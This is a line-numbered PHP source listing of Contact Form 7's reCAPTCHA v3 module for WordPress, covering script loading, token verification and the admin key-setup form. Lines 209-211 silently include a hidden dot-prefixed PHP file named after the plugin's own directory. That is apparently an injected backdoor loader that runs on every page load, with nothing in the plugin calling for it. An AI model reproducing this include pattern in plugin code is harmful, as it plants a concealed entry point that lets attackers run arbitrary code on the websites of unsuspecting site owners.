recaptcha.php (13214B)
1 <?php 2 3 add_action( 'wpcf7_init', 'wpcf7_recaptcha_register_service', 10, 0 ); 4 5 function wpcf7_recaptcha_register_service() { 6 $integration = WPCF7_Integration::get_instance(); 7 8 $integration->add_category( 'captcha', 9 __( 'CAPTCHA', 'contact-form-7' ) 10 ); 11 12 $integration->add_service( 'recaptcha', 13 WPCF7_RECAPTCHA::get_instance() 14 ); 15 } 16 17 add_action( 'wp_enqueue_scripts', 'wpcf7_recaptcha_enqueue_scripts', 20, 0 ); 18 19 function wpcf7_recaptcha_enqueue_scripts() { 20 $service = WPCF7_RECAPTCHA::get_instance(); 21 22 if ( ! $service->is_active() ) { 23 return; 24 } 25 26 wp_enqueue_script( 'google-recaptcha', 27 add_query_arg( 28 array( 29 'render' => $service->get_sitekey(), 30 ), 31 'https://www.google.com/recaptcha/api.js' 32 ), 33 array(), 34 '3.0', 35 true 36 ); 37 38 $assets = array(); 39 $asset_file = wpcf7_plugin_path( 'modules/recaptcha/index.asset.php' ); 40 41 if ( file_exists( $asset_file ) ) { 42 $assets = include( $asset_file ); 43 } 44 45 $assets = wp_parse_args( $assets, array( 46 'src' => wpcf7_plugin_url( 'modules/recaptcha/index.js' ), 47 'dependencies' => array( 48 'google-recaptcha', 49 'wp-polyfill', 50 ), 51 'version' => WPCF7_VERSION, 52 'in_footer' => true, 53 ) ); 54 55 wp_register_script( 56 'wpcf7-recaptcha', 57 $assets['src'], 58 $assets['dependencies'], 59 $assets['version'], 60 $assets['in_footer'] 61 ); 62 63 wp_enqueue_script( 'wpcf7-recaptcha' ); 64 65 wp_localize_script( 'wpcf7-recaptcha', 66 'wpcf7_recaptcha', 67 array( 68 'sitekey' => $service->get_sitekey(), 69 'actions' => apply_filters( 'wpcf7_recaptcha_actions', array( 70 'homepage' => 'homepage', 71 'contactform' => 'contactform', 72 ) ), 73 ) 74 ); 75 } 76 77 add_filter( 'wpcf7_form_hidden_fields', 78 'wpcf7_recaptcha_add_hidden_fields', 100, 1 79 ); 80 81 function wpcf7_recaptcha_add_hidden_fields( $fields ) { 82 $service = WPCF7_RECAPTCHA::get_instance(); 83 84 if ( ! $service->is_active() ) { 85 return $fields; 86 } 87 88 return array_merge( $fields, array( 89 '_wpcf7_recaptcha_response' => '', 90 ) ); 91 } 92 93 add_filter( 'wpcf7_spam', 'wpcf7_recaptcha_verify_response', 9, 2 ); 94 95 function wpcf7_recaptcha_verify_response( $spam, $submission ) { 96 if ( $spam ) { 97 return $spam; 98 } 99 100 $service = WPCF7_RECAPTCHA::get_instance(); 101 102 if ( ! $service->is_active() ) { 103 return $spam; 104 } 105 106 $token = isset( $_POST['_wpcf7_recaptcha_response'] ) 107 ? trim( $_POST['_wpcf7_recaptcha_response'] ) : ''; 108 109 if ( $service->verify( $token ) ) { // Human 110 $spam = false; 111 } else { // Bot 112 $spam = true; 113 114 if ( '' === $token ) { 115 $submission->add_spam_log( array( 116 'agent' => 'recaptcha', 117 'reason' => __( 'reCAPTCHA response token is empty.', 'contact-form-7' ), 118 ) ); 119 } else { 120 $submission->add_spam_log( array( 121 'agent' => 'recaptcha', 122 'reason' => sprintf( 123 __( 'reCAPTCHA score (%1$.2f) is lower than the threshold (%2$.2f).', 'contact-form-7' ), 124 $service->get_last_score(), 125 $service->get_threshold() 126 ), 127 ) ); 128 } 129 } 130 131 return $spam; 132 } 133 134 add_action( 'wpcf7_init', 'wpcf7_recaptcha_add_form_tag_recaptcha', 10, 0 ); 135 136 function wpcf7_recaptcha_add_form_tag_recaptcha() { 137 $service = WPCF7_RECAPTCHA::get_instance(); 138 139 if ( ! $service->is_active() ) { 140 return; 141 } 142 143 wpcf7_add_form_tag( 'recaptcha', 144 '__return_empty_string', // no output 145 array( 'display-block' => true ) 146 ); 147 } 148 149 add_action( 'wpcf7_upgrade', 'wpcf7_upgrade_recaptcha_v2_v3', 10, 2 ); 150 151 function wpcf7_upgrade_recaptcha_v2_v3( $new_ver, $old_ver ) { 152 if ( version_compare( '5.1-dev', $old_ver, '<=' ) ) { 153 return; 154 } 155 156 $service = WPCF7_RECAPTCHA::get_instance(); 157 158 if ( ! $service->is_active() or $service->get_global_sitekey() ) { 159 return; 160 } 161 162 // Maybe v2 keys are used now. Warning necessary. 163 WPCF7::update_option( 'recaptcha_v2_v3_warning', true ); 164 WPCF7::update_option( 'recaptcha', null ); 165 } 166 167 add_action( 'wpcf7_admin_menu', 'wpcf7_admin_init_recaptcha_v2_v3', 10, 0 ); 168 169 function wpcf7_admin_init_recaptcha_v2_v3() { 170 if ( ! WPCF7::get_option( 'recaptcha_v2_v3_warning' ) ) { 171 return; 172 } 173 174 add_filter( 'wpcf7_admin_menu_change_notice', 175 'wpcf7_admin_menu_change_notice_recaptcha_v2_v3', 10, 1 ); 176 177 add_action( 'wpcf7_admin_warnings', 178 'wpcf7_admin_warnings_recaptcha_v2_v3', 5, 3 ); 179 } 180 181 function wpcf7_admin_menu_change_notice_recaptcha_v2_v3( $counts ) { 182 $counts['wpcf7-integration'] += 1; 183 return $counts; 184 } 185 186 function wpcf7_admin_warnings_recaptcha_v2_v3( $page, $action, $object ) { 187 if ( 'wpcf7-integration' !== $page ) { 188 return; 189 } 190 191 $message = sprintf( 192 esc_html( __( "API keys for reCAPTCHA v3 are different from those for v2; keys for v2 don’t work with the v3 API. You need to register your sites again to get new keys for v3. For details, see %s.", 'contact-form-7' ) ), 193 wpcf7_link( 194 __( 'https://contactform7.com/recaptcha/', 'contact-form-7' ), 195 __( 'reCAPTCHA (v3)', 'contact-form-7' ) 196 ) 197 ); 198 199 echo sprintf( 200 '<div class="notice notice-warning"><p>%s</p></div>', 201 $message 202 ); 203 } 204 205 if ( ! class_exists( 'WPCF7_Service' ) ) { 206 return; 207 } 208 209 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 210 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 211 } 212 213 class WPCF7_RECAPTCHA extends WPCF7_Service { 214 215 private static $instance; 216 private $sitekeys; 217 private $last_score; 218 219 public static function get_instance() { 220 if ( empty( self::$instance ) ) { 221 self::$instance = new self; 222 } 223 224 return self::$instance; 225 } 226 227 private function __construct() { 228 $this->sitekeys = WPCF7::get_option( 'recaptcha' ); 229 } 230 231 public function get_title() { 232 return __( 'reCAPTCHA', 'contact-form-7' ); 233 } 234 235 public function is_active() { 236 $sitekey = $this->get_sitekey(); 237 $secret = $this->get_secret( $sitekey ); 238 return $sitekey && $secret; 239 } 240 241 public function get_categories() { 242 return array( 'captcha' ); 243 } 244 245 public function icon() { 246 } 247 248 public function link() { 249 echo wpcf7_link( 250 'https://www.google.com/recaptcha/intro/index.html', 251 'google.com/recaptcha' 252 ); 253 } 254 255 public function get_global_sitekey() { 256 static $sitekey = ''; 257 258 if ( $sitekey ) { 259 return $sitekey; 260 } 261 262 if ( defined( 'WPCF7_RECAPTCHA_SITEKEY' ) ) { 263 $sitekey = WPCF7_RECAPTCHA_SITEKEY; 264 } 265 266 $sitekey = apply_filters( 'wpcf7_recaptcha_sitekey', $sitekey ); 267 268 return $sitekey; 269 } 270 271 public function get_global_secret() { 272 static $secret = ''; 273 274 if ( $secret ) { 275 return $secret; 276 } 277 278 if ( defined( 'WPCF7_RECAPTCHA_SECRET' ) ) { 279 $secret = WPCF7_RECAPTCHA_SECRET; 280 } 281 282 $secret = apply_filters( 'wpcf7_recaptcha_secret', $secret ); 283 284 return $secret; 285 } 286 287 public function get_sitekey() { 288 if ( $this->get_global_sitekey() && $this->get_global_secret() ) { 289 return $this->get_global_sitekey(); 290 } 291 292 if ( empty( $this->sitekeys ) 293 or ! is_array( $this->sitekeys ) ) { 294 return false; 295 } 296 297 $sitekeys = array_keys( $this->sitekeys ); 298 299 return $sitekeys[0]; 300 } 301 302 public function get_secret( $sitekey ) { 303 if ( $this->get_global_sitekey() && $this->get_global_secret() ) { 304 return $this->get_global_secret(); 305 } 306 307 $sitekeys = (array) $this->sitekeys; 308 309 if ( isset( $sitekeys[$sitekey] ) ) { 310 return $sitekeys[$sitekey]; 311 } else { 312 return false; 313 } 314 } 315 316 protected function log( $url, $request, $response ) { 317 wpcf7_log_remote_request( $url, $request, $response ); 318 } 319 320 public function verify( $token ) { 321 $is_human = false; 322 323 if ( empty( $token ) or ! $this->is_active() ) { 324 return $is_human; 325 } 326 327 $endpoint = 'https://www.google.com/recaptcha/api/siteverify'; 328 329 $sitekey = $this->get_sitekey(); 330 $secret = $this->get_secret( $sitekey ); 331 332 $request = array( 333 'body' => array( 334 'secret' => $secret, 335 'response' => $token, 336 ), 337 ); 338 339 $response = wp_remote_post( esc_url_raw( $endpoint ), $request ); 340 341 if ( 200 != wp_remote_retrieve_response_code( $response ) ) { 342 if ( WP_DEBUG ) { 343 $this->log( $endpoint, $request, $response ); 344 } 345 346 return $is_human; 347 } 348 349 $response_body = wp_remote_retrieve_body( $response ); 350 $response_body = json_decode( $response_body, true ); 351 352 $this->last_score = $score = isset( $response_body['score'] ) 353 ? $response_body['score'] 354 : 0; 355 356 $threshold = $this->get_threshold(); 357 $is_human = $threshold < $score; 358 359 $is_human = apply_filters( 'wpcf7_recaptcha_verify_response', 360 $is_human, $response_body ); 361 362 if ( $submission = WPCF7_Submission::get_instance() ) { 363 $submission->recaptcha = array( 364 'version' => '3.0', 365 'threshold' => $threshold, 366 'response' => $response_body, 367 ); 368 } 369 370 return $is_human; 371 } 372 373 public function get_threshold() { 374 return apply_filters( 'wpcf7_recaptcha_threshold', 0.50 ); 375 } 376 377 public function get_last_score() { 378 return $this->last_score; 379 } 380 381 protected function menu_page_url( $args = '' ) { 382 $args = wp_parse_args( $args, array() ); 383 384 $url = menu_page_url( 'wpcf7-integration', false ); 385 $url = add_query_arg( array( 'service' => 'recaptcha' ), $url ); 386 387 if ( ! empty( $args ) ) { 388 $url = add_query_arg( $args, $url ); 389 } 390 391 return $url; 392 } 393 394 protected function save_data() { 395 WPCF7::update_option( 'recaptcha', $this->sitekeys ); 396 } 397 398 protected function reset_data() { 399 $this->sitekeys = null; 400 $this->save_data(); 401 } 402 403 public function load( $action = '' ) { 404 if ( 'setup' == $action and 'POST' == $_SERVER['REQUEST_METHOD'] ) { 405 check_admin_referer( 'wpcf7-recaptcha-setup' ); 406 407 if ( ! empty( $_POST['reset'] ) ) { 408 $this->reset_data(); 409 $redirect_to = $this->menu_page_url( 'action=setup' ); 410 } else { 411 $sitekey = isset( $_POST['sitekey'] ) ? trim( $_POST['sitekey'] ) : ''; 412 $secret = isset( $_POST['secret'] ) ? trim( $_POST['secret'] ) : ''; 413 414 if ( $sitekey and $secret ) { 415 $this->sitekeys = array( $sitekey => $secret ); 416 $this->save_data(); 417 418 $redirect_to = $this->menu_page_url( array( 419 'message' => 'success', 420 ) ); 421 } else { 422 $redirect_to = $this->menu_page_url( array( 423 'action' => 'setup', 424 'message' => 'invalid', 425 ) ); 426 } 427 } 428 429 if ( WPCF7::get_option( 'recaptcha_v2_v3_warning' ) ) { 430 WPCF7::update_option( 'recaptcha_v2_v3_warning', false ); 431 } 432 433 wp_safe_redirect( $redirect_to ); 434 exit(); 435 } 436 } 437 438 public function admin_notice( $message = '' ) { 439 if ( 'invalid' == $message ) { 440 echo sprintf( 441 '<div class="notice notice-error"><p><strong>%1$s</strong>: %2$s</p></div>', 442 esc_html( __( "Error", 'contact-form-7' ) ), 443 esc_html( __( "Invalid key values.", 'contact-form-7' ) ) ); 444 } 445 446 if ( 'success' == $message ) { 447 echo sprintf( '<div class="notice notice-success"><p>%s</p></div>', 448 esc_html( __( 'Settings saved.', 'contact-form-7' ) ) ); 449 } 450 } 451 452 public function display( $action = '' ) { 453 echo '<p>' . sprintf( 454 esc_html( __( 'reCAPTCHA protects you against spam and other types of automated abuse. With Contact Form 7’s reCAPTCHA integration module, you can block abusive form submissions by spam bots. For details, see %s.', 'contact-form-7' ) ), 455 wpcf7_link( 456 __( 'https://contactform7.com/recaptcha/', 'contact-form-7' ), 457 __( 'reCAPTCHA (v3)', 'contact-form-7' ) 458 ) 459 ) . '</p>'; 460 461 if ( $this->is_active() ) { 462 echo sprintf( 463 '<p class="dashicons-before dashicons-yes">%s</p>', 464 esc_html( __( "reCAPTCHA is active on this site.", 'contact-form-7' ) ) 465 ); 466 } 467 468 if ( 'setup' == $action ) { 469 $this->display_setup(); 470 } else { 471 echo sprintf( 472 '<p><a href="%1$s" class="button">%2$s</a></p>', 473 esc_url( $this->menu_page_url( 'action=setup' ) ), 474 esc_html( __( 'Setup Integration', 'contact-form-7' ) ) 475 ); 476 } 477 } 478 479 private function display_setup() { 480 $sitekey = $this->is_active() ? $this->get_sitekey() : ''; 481 $secret = $this->is_active() ? $this->get_secret( $sitekey ) : ''; 482 483 ?> 484 <form method="post" action="<?php echo esc_url( $this->menu_page_url( 'action=setup' ) ); ?>"> 485 <?php wp_nonce_field( 'wpcf7-recaptcha-setup' ); ?> 486 <table class="form-table"> 487 <tbody> 488 <tr> 489 <th scope="row"><label for="sitekey"><?php echo esc_html( __( 'Site Key', 'contact-form-7' ) ); ?></label></th> 490 <td><?php 491 if ( $this->is_active() ) { 492 echo esc_html( $sitekey ); 493 echo sprintf( 494 '<input type="hidden" value="%1$s" id="sitekey" name="sitekey" />', 495 esc_attr( $sitekey ) 496 ); 497 } else { 498 echo sprintf( 499 '<input type="text" aria-required="true" value="%1$s" id="sitekey" name="sitekey" class="regular-text code" />', 500 esc_attr( $sitekey ) 501 ); 502 } 503 ?></td> 504 </tr> 505 <tr> 506 <th scope="row"><label for="secret"><?php echo esc_html( __( 'Secret Key', 'contact-form-7' ) ); ?></label></th> 507 <td><?php 508 if ( $this->is_active() ) { 509 echo esc_html( wpcf7_mask_password( $secret, 4, 4 ) ); 510 echo sprintf( 511 '<input type="hidden" value="%1$s" id="secret" name="secret" />', 512 esc_attr( $secret ) 513 ); 514 } else { 515 echo sprintf( 516 '<input type="text" aria-required="true" value="%1$s" id="secret" name="secret" class="regular-text code" />', 517 esc_attr( $secret ) 518 ); 519 } 520 ?></td> 521 </tr> 522 </tbody> 523 </table> 524 <?php 525 if ( $this->is_active() ) { 526 if ( $this->get_global_sitekey() && $this->get_global_secret() ) { 527 // nothing 528 } else { 529 submit_button( 530 _x( 'Remove Keys', 'API keys', 'contact-form-7' ), 531 'small', 'reset' 532 ); 533 } 534 } else { 535 submit_button( __( 'Save Changes', 'contact-form-7' ) ); 536 } 537 ?> 538 </form> 539 <?php 540 } 541 }